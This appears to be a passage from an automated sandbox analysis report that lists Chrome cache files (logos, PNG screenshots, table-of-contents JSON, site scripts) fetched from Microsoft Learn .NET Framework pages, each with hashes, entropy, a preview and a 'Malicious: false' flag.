Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 96

Download File

